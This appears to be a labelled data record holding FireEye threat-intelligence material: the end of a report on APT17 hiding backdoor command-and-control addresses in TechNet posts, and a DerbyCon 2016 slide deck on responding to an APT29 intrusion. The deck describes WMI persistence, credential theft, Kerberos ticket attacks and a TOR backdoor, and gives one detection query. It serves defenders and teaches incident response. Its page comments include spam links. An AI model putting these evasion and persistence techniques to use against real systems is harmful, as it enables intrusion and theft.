in the China-based APT1\xe2\x80\x99s WEBCnC suite of backdoors. Now, threat actors are using well-known websites\xe2\x80\x94that they do not need to compromise\xe2\x80\x94 to host CnC IP addresses. They simply use the website for legitimate purposes, such as posting forum threads or creating profile pages. APT17 went further to obfuscate their CnC IP address and employed a multi-layered approach for the malware to finally beacon the true CnC IP. They used legitimate infrastructure\xe2\x80\x94the ability to post or create comments on forums and profile pages\xe2\x80\x94to embed a string that the malware would decode to find and communicate with the true CnC IP address. This additional obfuscation puts yet another layer between APT17 and the security professionals attempting to chase them down. HOW BLACKCOFFEE WORKS This BLACKCOFFEE variant contains one or more URLs that link to the biography sections of attacker-created profiles as well as forum threads that contain comments from those same profiles. A URL is randomly selected and the malware searches at that location for an encoded IP address located between two tags, \xe2\x80\x9c@MICR0S0FT\xe2\x80\x9d and \xe2\x80\x9cC0RP0RATI0N\xe2\x80\x9d. Using Microsoft TechNet, a web portal for IT professionals, APT17 posted in forum threads and created profile pages to host encoded CnC IP addresses that would direct a variant of the BLACKCOFFEE backdoor to their CnC server. Figure 1: The encoded IP address https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic REPORT 54 Actual Command and Control traffic is sent to the decoded CnC IP APT17\xe2\x80\x99s Malicious Use of Technet The malware then communicates directly with the retrieved and decoded IP address to receive commands and send stolen information. If the CnC server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims\xe2\x80\x99 machines. BLACKCOFFEE supports an initial set of fifteen commands, including creating a reverse shell, uploading and downloading files, and enumerating files and processes. The attackers can also extend BLACKCOFFEE\xe2\x80\x99s functionality through additional commands sent as shellcode. IOCS/MD5S Indicators of compromise are available on Github at github.com/fireeye/iocs. EXPECT MORE THREAT GROUPS TO EMPLOY LEGITIMATE WEBSITES IN OPERATIONS We have already observed threat actors adopting similar techniques and moving some CnC activity to legitimate websites that they do not need to compromise. In the same vein, some threat actors have already begun using social media sites such as Twitter and Facebook for malware distribution and CnC. APT17\xe2\x80\x99s tactic\xe2\x80\x94using a dead drop resolver and embedding encoded IP addresses as opposed to displaying it in plain text\xe2\x80\x94can delay detection, discourage IT staff from discovering the actual CnC IP address, and prevent discovery of the CnC IP via binary analysis. FireEye expects that threat groups are already using this technique, with their own unique variations, and others will adopt similar measures to hide in plain sight. A TechNet forum thread modified by BLACKCOFFEE:APT17 encodes an IP address on a newly created TechNet profile or encodes the IP address on a forum thread using one of their profiles BLACKCOFFEE checks the altered TechNet page for encoded tag containing address of CnC server Encoded command and control server IP is sent back to BLACKCOFFEE on the victim\xe2\x80\x99s computer BLACKCOFFEE is capable of uploading, downloading, renaming, moving, or deleting files, terminating processes, or adding new backdoor commands 010101010010100101010010 101001010010101001010010 101001010010101001010010 010101010010100101010010 101001010010101001010010 101001010010101001010010 010101010010100101010010 101001010010101001010010 101001010010101001010010 010101010010100101010010 101001010010101001010010 101001010010101001010010 The victim\xe2\x80\x99s network security monitors see traffic from TechNet CnC SERVER Victim infected with BLACKCOFFEE https://github.com/fireeye/iocs http://www.wired.com/2009/08/botnet-tweets/ https://www.nartv.org/2010/10/22/command-and-control-in-the-cloud/ To download this or other FireEye Threat Intelligence reports, visit: https://www.fireeye.com/reports.html \xc2\xa9 2015 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. WP.HPS.EN-US.052015 FireEye, Inc. | 1440 McCarthy Blvd. Milpitas, CA 95035 | 408.321.6300 | 877.FIREEYE (347.3393) | info@fireeye.com | www.fireeye.com https://www.fireeye.com/reports.html mailto:info%40FireEye.com http://www.fireeye.com","0","1","0","0","0","0","1","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","1","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"No Easy Breach DerbyCon 2016 Slideshare uses cookies to improve functionality and performance, and to provide you with relevant advertising. If you continue browsing the site, you agree to the use of cookies on this website. See our User Agreement and Privacy Policy. Slideshare uses cookies to improve functionality and performance, and to provide you with relevant advertising. If you continue browsing the site, you agree to the use of cookies on this website. See our Privacy Policy and User Agreement for details. SlideShare Explore Search You Upload Login Signup Submit Search Home Explore Presentation Courses PowerPoint Courses by LinkedIn Learning Successfully reported this slideshow. We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime. No Easy Breach DerbyCon 2016 Upcoming SlideShare Loading in \xe2\x80\xa65 \xc3\x97 1 1 of 36 Like this presentation? Why not share! Share Email \xc2 \xc2 Outlook and Exchange for the bad guys by\xc2 Nick Landers 5575\xc2 views Taking the Attacker Eviction Red Pi... by\xc2 Frode Hommedal 18133\xc2 views Share SlideShare Facebook Twitter LinkedIn Embed Size (px) Start on Show related SlideShares at end WordPress Shortcode Link No Easy Breach DerbyCon 2016 16,817 views Share Like Download ... Matthew Dunwoody , Senior Consultant at Mandiant, a FireEye company Follow Published on Sep 27, 2016 Every IR presents unique challenges. But - when an attacker uses PowerShell, WMI, Kerberos attacks, novel persistence mechanisms, seemingly unlimited C2 infrastructure and half-a-dozen rapidly-evolving malware families across a 100k node network to compromise the environment at a rate of 10 systems per day - the cumulative challenges can become overwhelming. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. Details a massive intrusion by Russian APT29 (AKA CozyDuke, Cozy Bear) ... Published in: Internet 2 Comments 17 Likes Statistics Notes Full Name Comment goes here. 12 hours ago\xc2 \xc2 Delete Reply Block Are you sure you want to Yes No Your message goes here Post World Ebook at World Ebook DOWNLOAD FULL eBOOK INTO AVAILABLE FORMAT ......................................................................................................................... ......................................................................................................................... 1.DOWNLOAD FULL. PDF eBook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. EPUB eBook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. doc eBook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. PDF eBook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. EPUB eBook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. doc eBook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, CookeBOOK Crime, eeBOOK Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, 3 months ago \xc2 \xc2 Reply\xc2 Are you sure you want to\xc2 Yes\xc2 No Your message goes here Jessie Compton 1 minute a day to keep your weight away! \xe2\x97\x86\xe2\x97\x86\xe2\x97\x86 https://tinyurl.com/1minweight 3 months ago \xc2 \xc2 Reply\xc2 Are you sure you want to\xc2 Yes\xc2 No Your message goes here PaulMichaud17 4 months ago Ronnie Salomonsen , IT Security Specialist at Danish Ministry of Defence 8 months ago Cristian Bobadilla C. , Managing Consultant, Asesor y Consultor at Mandiant 1 year ago mmpasha 1 year ago Mark Robinson 1 year ago Show More No Downloads Views Total views 16,817 On SlideShare 0 From Embeds 0 Number of Embeds 241 Actions Shares 0 Downloads 452 Comments 2 Likes 17 Embeds 0 No embeds No notes for slide No Easy Breach DerbyCon 2016 1. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.1 NO EASY BREACH DERBYCON 2016 #NOEASYBREACH Matt Dunwoody @matthewdunwoody Nick Carr @itsreallynick 2. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.2 How It All Started \xe2\x80\xa2 1 average spearphishing email \xe2\x80\xa2 1 failed client remediation \xe2\x80\xa2 1 very determined nation state \xe2\x80\xa2 Attacker\xe2\x80\x99s mission not impacted by ongoing remediation measures \xe2\x80\xa2 2 attacker objectives: \xe2\x80\xa2 Steal email of targeted VIPs \xe2\x80\xa2 Monitor security team, response & detection efforts FUN FACT: This was APT29 3. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.3 Several Months Later\xe2\x80\xa6 \xe2\x80\xa2 The Aftermath \xe2\x80\xa2 Four person Mandiant team \xe2\x80\xa2 Over 1,039 compromised systems \xe2\x80\xa2 Over 1,000 unique malware samples \xe2\x80\xa2 Over 1,000 different unique C2 domains / IPs \xe2\x80\xa2 Over 50,000 email communications stolen \xe2\x80\xa2 Including scripts & tools: 7,000+ attacker files \xe2\x80\xa2 How did they pull it off? \xe2\x80\xa2 Fast-paced intrusion \xe2\x80\xa2 Very stealthy \xe2\x80\xa2 Rapidly changing tactics \xe2\x80\xa2 Employed advanced attack techniques 4. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.4 Challenge 1: Fast-Paced Attacker \xe2\x80\xa2 Attacker infected 10 systems per day with primary backdoor family \xe2\x80\xa2 Especially when provoked (maintained baseline foothold) \xe2\x80\xa2 Accessed hundreds of systems for recon and credential theft \xe2\x80\xa2 Removed tools and forensic artifacts to hide activity \xe2\x80\xa2 Deployed additional backdoor families \xe2\x80\xa2 Continued to steal data every week 5. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.5 Our Response: Triaged Where Possible \xe2\x80\xa2 Moved from typical Live Response analysis to abbreviated triage \xe2\x80\xa2 Brief analysis leveraging known attacker TTPs \xe2\x80\xa2 Developed indicators to assist triage \xe2\x80\xa2 Partially automated the analysis process \xe2\x80\xa2 Some activity not unique enough to sig \xe2\x80\xa2 Focused on: \xe2\x80\xa2 Lateral movement \xe2\x80\xa2 Walking back up the chain \xe2\x80\xa2 Pivoting, recon, new tools or backdoors \xe2\x80\xa2 Signs of data theft \xe2\x80\xa2 Deviation from typical attacker activity FAST-PACED ATTACKER 6. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.6 Our Response: Streamlined Documentation \xe2\x80\xa2 Typical LR reports and timelines took too much time \xe2\x80\xa2 Still needed to document findings \xe2\x80\xa2 Compressed notes from systems into brief, standardized text blocks \xe2\x80\xa2 Malware and attacker tools on the system \xe2\x80\xa2 Persistence mechanisms \xe2\x80\xa2 Periods of attacker activity and significant timestamps \xe2\x80\xa2 Source of activity \xe2\x80\xa2 Documented significant findings \xe2\x80\xa2 New TTPs \xe2\x80\xa2 Data theft FAST-PACED ATTACKER 7. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.7 Lesson Learned: Be Fast and Flexible \xe2\x80\xa2 Be willing to change normal practices and disregard official methodologies when they\xe2\x80\x99re not working \xe2\x80\xa2 Make the most of outside help - accept the limitations of your circumstances and do what you can to maximize your chances of success FAST-PACED ATTACKER 8. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.8 Challenge 2: Stealthy Attacker \xe2\x80\xa2 Attacker using counter forensic techniques to hide endpoint and network activity \xe2\x80\xa2 Endpoint: secure deletion, impressive OPSEC (pack up and move), 90% doctrine \xe2\x80\xa2 Network: compromised third party websites & social media C2, altered communication scheme + strong crypto, embraced SSL \xe2\x80\xa2 The odds were stacked against us \xe2\x80\xa2 Unable to use Mandiant network sensors and signatures \xe2\x80\xa2 Existing devices inconsistently-deployed and coverage spotty \xe2\x80\xa2 \xe2\x80\x9cRolling remediation\xe2\x80\x9d actions showed our hand so attacker knew which evasion tactics were working 9. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.9 \xe2\x80\xa2 Attacker considered every detail \xe2\x80\xa2 Mass activity to obscure the real target \xe2\x80\xa2 More evident in recent campaigns \xe2\x80\xa2 Widespread phishing with a prioritized target list \xe2\x80\xa2 They might even want the first system to be caught \xe2\x80\xa2 Data theft using only legitimate US-based services, complicating any law enforcement response \xe2\x80\xa2 Gmail, Google Drive using APIs \xe2\x80\xa2 OneDrive \xe2\x80\xa2 Monitored Us \xe2\x80\xa2 Targeted the IR operations throughout the compromise \xe2\x80\xa2 Were we onto them and how much time did they have left? BONUS SLIDE: Even More OPSEC he looks cozy 10. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.10 Our Response: Found Clues in the Ruble \xe2\x80\xa2 Maximized the utility of trace forensic artifacts \xe2\x80\xa2 Some attacker behavior recovered from sdelete \xe2\x80\xa2 File path regex for artifacts \xe2\x80\xa2 Everything from AAA.AAA to ZZZ.ZZZ \xe2\x80\xa2 Entry Modified timestamp typically indicated when sdelete occurred \xe2\x80\xa2 EULA Accept registry key for each Sysinternals tool \xe2\x80\xa2 Searched for new sdelete usage \xe2\x80\xa2 Prefetch entries for some operations (e.g., RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it\xe2\x80\x99s built-in! 11. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.11 Our Response: Made the Best of What We Had \xe2\x80\xa2 Learned and leveraged client\xe2\x80\x99s network tools \xe2\x80\xa2 Embraced the varying technology across business units \xe2\x80\xa2 Took time and patience to filter out the network noise \xe2\x80\xa2 Searched for every new system by timeframe \xe2\x80\xa2 Searched activity between sets of infected hosts \xe2\x80\xa2 Automated where possible \xe2\x80\xa2 Developed dashboards STEALTHYATTACKER 12. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.12 Our Response: Made the Best of What We Had \xe2\x80\xa2 Found the helpful but forgotten alerts \xe2\x80\xa2 SMB transfer of UPX-packed files \xe2\x80\xa2 Extracted fields we wanted \xe2\x80\xa2 Signature combinations solved mysteries \xe2\x80\xa2 Schtasks.exe usage by UUID \xe2\x80\xa2 SMB writes to System32 \xe2\x80\xa2 Network time preserved when other timestamps could not be trusted STEALTHYATTACKER signature=MSRPC_SuspiciousEncryption event_info=""UUID=86d35949-83c9-4044-b424- db363231fd0c*\xe2\x80\x9d src_ip=""10.*"" dest_ip=""10.*\xe2\x80\x9d ( dest_port=49154 OR dest_port=49155 ) FUN FACT: This was our initial discovery of HAMMERTOSS 13. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.13 Our Response: Made New Shiny Things \xe2\x80\xa2 Deployed additional budget-friendly open source tech \xe2\x80\xa2 Found ways to apply our methodology \xe2\x80\xa2 Connected to our incident tracker \xe2\x80\xa2 Sparklines for time + volume of activity \xe2\x80\xa2 Prioritized host analysis based on traffic \xe2\x80\xa2 Smashed and grabbed before the wipe! STEALTHYATTACKER host_10 host_9 host_8 host_7 host_6 host_5 host_4 host_3 host_2 host_1 14. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.14 Lesson Learned: Improve Visibility and Don\xe2\x80\x99t Stop Looking \xe2\x80\xa2 Map attacker activity to potential data sources and use everything available to minimize blind spots \xe2\x80\xa2 Give your team access to existing tools outside of their normal process \xe2\x80\xa2 Consider deploying additional technology \xe2\x80\xa2 Network time provides reliable chronology despite host-based timestomping \xe2\x80\xa2 Combat IR fatigue by automating high-confidence (and boring stuff) \xe2\x80\xa2 Once an attacker is found, fight to maintain line-of- sight STEALTHYATTACKER 15. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.15 Challenge 3: Rapidly-Evolving Tactics \xe2\x80\xa2 New and updated backdoors \xe2\x80\xa2 7 distinct backdoor families \xe2\x80\xa2 SEADADDY went through 3 version updates \xe2\x80\xa2 Seven unique persistence mechanisms \xe2\x80\xa2 Registry run key, .LNK files, services, WMI, named scheduled tasks, hijacking scheduled tasks, over-writing legitimate files \xe2\x80\xa2 Cycled persistence techniques regularly \xe2\x80\xa2 Minimal re-use of metadata commonly tracked and shared as indicators \xe2\x80\xa2 Malware MD5, file name, file size, and C2 unique to each system \xe2\x80\xa2 Attacker didn\xe2\x80\x99t need to re-use compromised accounts FUN FACT: On current case, APT29 used unique UAC bypass & persistence that was first posted online days before 16. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.16 Our Response: Maintained Eye Contact \xe2\x80\xa2 Fought to keep network visibility on all malware families \xe2\x80\xa2 Backdoor version 1: could see it, sig it, and decode it PHPSESSID = base64( zlib( aes( BACKDOOR C2 ) ) ) \xe2\x80\xa2 Backdoor version 2: lost ability to decode it Cookie{2,7} = customb64( zlib( rc4( aes( BACKDOOR C2 ) ) ) ) \xe2\x80\xa2 Backdoor version 3: lost ability to sig it random_split( Cookie{2,7} = customb64( zlib( rc4( aes( BACKDOOR C2 ) ) ) ) \xe2\x80\xa2 Wrapped in SSL: lost ability to see it \xe2\x80\xa6 at first RAPIDLY-EVOLVING TACTICS FUN FACT: This was SEADADDY certificate email SSL cipher start stop root@domain1.com TLS_DHE_RSA_WITH_AES_256_CBC_SHA 10/14/15 14:13:00 10/15/15 00:14:37 support@vendor.com TLS_RSA_WITH_3DES_EDE_CBC_SHA 10/14/15 16:13:29 10/14/15 16:13:29 root@domain2.com TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 10/13/15 13:30:17 10/14/15 03:14:04 admin@example.com TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 10/11/15 13:02:21 10/12/15 10:58:59 Finding attacker SSL usage using Bro\xe2\x80\x99s ssl.log 17. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.17 Our Response: Prioritized the Unknown \xe2\x80\xa2 Spent time analyzing systems with unknown activity \xe2\x80\xa2 The most interesting systems were the ones accessed but we didn\xe2\x80\x99t know what they did \xe2\x80\xa2 Limited analysis on systems with known and consistent attacker tactics \xe2\x80\xa2 While not useful as standalone indicators, tracked breach data to prioritize discovered systems \xe2\x80\xa2 Identified common forensic artifacts between systems with shared C2 RAPIDLY-EVOLVING TACTICS 18. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.18 Our Response: Continually Improved Indicators \xe2\x80\xa2 Created indicators for every stage of attack lifecycle \xe2\x80\xa2 All seven persistence mechanisms, recon, lateral movement, and data theft \xe2\x80\xa2 Methodology IOCs helped identify systems without known malware \xe2\x80\xa2 Reverse engineered every backdoor revision & updated indicators \xe2\x80\xa2 Maintained a list of high-confidence indicators to focus new IOC development \xe2\x80\xa2 Developed flexible & resilient indicators \xe2\x80\xa2 Provided high-fidelity matches across versions, regardless of morphing \xe2\x80\xa2 Used imports and exports, size ranges, section names, compile times, and other consistent attributes RAPIDLY-EVOLVING TACTICS 19. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.19 Our Response: Continually Improved Indicators RAPIDLY-EVOLVING TACTICS \xe2\x80\xa2 Automated analysis of backdoor for comparison and configuration extraction; enterprise-wide search of process memory \xe2\x80\xa2 Indicators based on packaging and delivery \xe2\x80\xa2 Import hashes, size, section names, artifacts of wrapper execution everywhere possible \xe2\x80\xa2 Adapted file system IOC+regex to process handles, prefetch, and event logs \xe2\x80\xa2 Identified malware staged for SMB transfer obfuscated- backdoor.py PyInstaller / Py2Exe UPX-packed ...transferred laterally 20. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.20 Lesson Learned: Find It, Refine It, Re-Find It \xe2\x80\xa2 Enhance and test your best indicators even when they\xe2\x80\x99re working \xe2\x80\xa2 Track what the attacker can change before you lose visibility of their activity \xe2\x80\xa2 Don\xe2\x80\x99t let technical data fall through the cracks, even when visibility is good and the details have marginal value as indicators RAPIDLY-EVOLVING TACTICS 21. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.21 Challenge 4: Advanced Attack Techniques \xe2\x80\xa2 Windows Management Instrumentation (WMI) \xe2\x80\xa2 Attacker used WMI to persist backdoors \xe2\x80\xa2 Embedded backdoor files and PowerShell scripts in WMI repo \xe2\x80\xa2 Used WMI to steal credentials from remote systems \xe2\x80\xa2 Configured WMI to extract and execute backdoors months in the future, to evade remediation \xe2\x80\xa2 Attacker leveraged PowerShell \xe2\x80\xa2 Stealthy backdoors \xe2\x80\xa2 PowerShell scripts like Invoke-Mimikatz evaded A/V detection \xe2\x80\xa2 Excellent WMI integration \xe2\x80\xa2 Kerberos \xe2\x80\xa2 Attacker used Kerberos ticket attacks, which made tracking lateral movement difficult 22. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.22 Our Response: Tackled Attacker WMI Usage \xe2\x80\xa2 Searched for WMI persistence \xe2\x80\xa2 Manually parsed from objects.data strings on endpoints \xe2\x80\xa2 Ran script across the environment to identify persistence \xe2\x80\xa2 Colleagues developed custom MIR audit to allow for sweeping \xe2\x80\xa2 Identified evidence of attacker code in WMI repo \xe2\x80\xa2 Attacker embedded PowerShell code in WMI class properties to execute on remote system \xe2\x80\xa2 Identified class and property names and code in objects.data strings \xe2\x80\xa2 Searched contents of CIM repo at scale \xe2\x80\xa2 Parsed out embedded scripts and malware \xe2\x80\xa2 The repo was a poorly documented, complex structure, so parsing was difficult and manual \xe2\x80\xa2 Willi Ballenthin, Matt Graeber and Claudiu Teodorescu made repo parsers (after the investigation was completed) ADVANCED ATTACK TECHNIQUES 23. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.23 Our Response: Tackled Attacker WMI Usage ADVANCED ATTACK TECHNIQUES 24. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.24 Our Response: Increased PowerShell Visibility \xe2\x80\xa2 Upgraded the environment to PowerShell 3.0 and enabled logging \xe2\x80\xa2 Logging captured input/output, variable initialization, etc. \xe2\x80\xa2 Captured entire functions of PS scripts, attacker commands, script output, etc. \xe2\x80\xa2 Wrote indicators based on observed attacker activity \xe2\x80\xa2 Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. \xe2\x80\xa2 Turned attacker PowerShell usage from a threat to a benefit \xe2\x80\xa2 Logging and IOCs made finding and analyzing attacker activity much easier ADVANCED ATTACK TECHNIQUES FUN FACT: There\xe2\x80\x99s now a blog post and my script block logging parser on GitHub 25. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.25 Our Response: Increased PowerShell Visibility ADVANCED ATTACK TECHNIQUES 26. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.26 Our Response: Addressed Ticket Attacks \xe2\x80\xa2 Worked around Kerberos attacks \xe2\x80\xa2 Swept for Invoke-Mimikatz PTT usage in PS logs to identify pivot systems \xe2\x80\xa2 Swept for other indicators of lateral movement to identify destination systems \xe2\x80\xa2 Looked for remote Kerberos logons around the time of attacker activity \xe2\x80\xa2 Developed indicators \xe2\x80\xa2 Based on research by Sean Metcalf at adsecurity.org \xe2\x80\xa2 Developed late in the investigation \xe2\x80\xa2 Extremely high-fidelity ADVANCED ATTACK TECHNIQUES 27. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.27 Our Response: Addressed Ticket Attacks ADVANCED ATTACK TECHNIQUES Event ID 4624 Event ID 4672 Event ID 4634 28. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.28 BONUS SLIDE: Even More WMI + PS 29. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.30 Lesson Learned: Turn Weakness Into Strength RAPIDLY-EVOLVING TACTICS \xe2\x80\xa2 Use attackers\xe2\x80\x99 strengths against them \xe2\x80\xa2 Unique attacks make for high-fidelity indicators \xe2\x80\xa2 Identify the activity \xe2\x80\xa2 Develop indicators \xe2\x80\xa2 Increase visibility at scale \xe2\x80\xa2 Automate detection \xe2\x80\xa2 Create an alerting system, if possible 31. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.31 \xe2\x80\xa2 Backdoor used TOR hidden services to provide secure, discrete remote access \xe2\x80\xa2 Used Meek plugin to hide traffic \xe2\x80\xa2 Forwarded TOR traffic to ports: \xe2\x80\xa2 3389 \xe2\x80\x93 Remote Desktop \xe2\x80\xa2 139 \xe2\x80\x93 Netbios \xe2\x80\xa2 445 \xe2\x80\x93 SMB \xe2\x80\xa2 Modified registry to enable RDP \xe2\x80\xa2 \xe2\x80\x9cSticky-keys\xe2\x80\x9d to provide unauthenticated, privileged console access BONUS SLIDE: TOR backdoor (just because it\xe2\x80\x99s cool) FUN FACT: This was first deployed 3 hours before remediation 32. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.32 BONUS SLIDE: TOR backdoor (just because it\xe2\x80\x99s cool) 33. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.33 BONUS SLIDE: TOR backdoor (just because it\xe2\x80\x99s cool) Client Endpoint APT29 (actual image) TOR network Meekreflector .appspot.com Mail.google.com Google Cloud SSL HTTP TOR TOR 34. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.34 If You\xe2\x80\x99ve Learned Nothing Else Today\xe2\x80\xa6 SUPER IMPRESSIVE CONCLUSION SLIDE \xe2\x80\xa2 You must match or exceed the attacker\xe2\x80\x99s pace \xe2\x80\xa2 You must match or exceed the attacker\xe2\x80\x99s visibility \xe2\x80\xa2 You must match or exceed the attacker\xe2\x80\x99s development \xe2\x80\xa2 You must match or exceed the attacker\xe2\x80\x99s advanced techniques \xe2\x80\xa2 You must match or exceed the attacker\xe2\x80\x99s intensity. 35. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.35 \xe2\x80\x9cTrue happiness incident response is a life of continual self-improvement. The greater the struggle, the more enriching the experience is for your life.\xe2\x80\x9d 36. Copyright \xc2\xa9 FireEye, Inc. All rights reserved.36 THANK YOU QUESTIONS? DERBYCON 2016 #NOEASYBREACH Matt Dunwoody @matthewdunwoody Nick Carr @itsreallynick Recommended PowerPoint 2016: Tips and Tricks Online Course - LinkedIn Learning Academic Research Foundations: Quantitative Online Course - LinkedIn Learning Teaching Techniques: Blended Learning Online Course - LinkedIn Learning Outlook and Exchange for the bad guys Nick Landers Taking the Attacker Eviction Red Pill (v2.0) Frode Hommedal The AI Rush Jean-Baptiste Dumont AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017 Carol Smith 10 facts about jobs in the future Pew Research Center's Internet & American Life Project Harry Surden - Artificial Intelligence and Law Overview Harry Surden Inside Google's Numbers in 2017 Rand Fishkin English Espa\xc3\xb1ol Portugu\xc3\xaas Fran\xc3\xa7ais Deutsch About Dev & API Blog Terms Privacy Copyright Support LinkedIn Corporation \xc2\xa9 2019 \xc3\x97 Share Clipboard \xc3\x97 Facebook Twitter LinkedIn Link Public clipboards featuring this slide \xc3\x97 No public clipboards found for this slide Select another clipboard \xc3\x97 Looks like you\xe2\x80\x99ve clipped this slide to already. Create a clipboard You just clipped your first slide! Clipping is a handy way to collect important slides you want to go back to later. Now customize the name of a clipboard to store your clips. Name* Description Visibility Others can see my Clipboard Cancel Save","0","1","0","1","1","1","1","1","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases 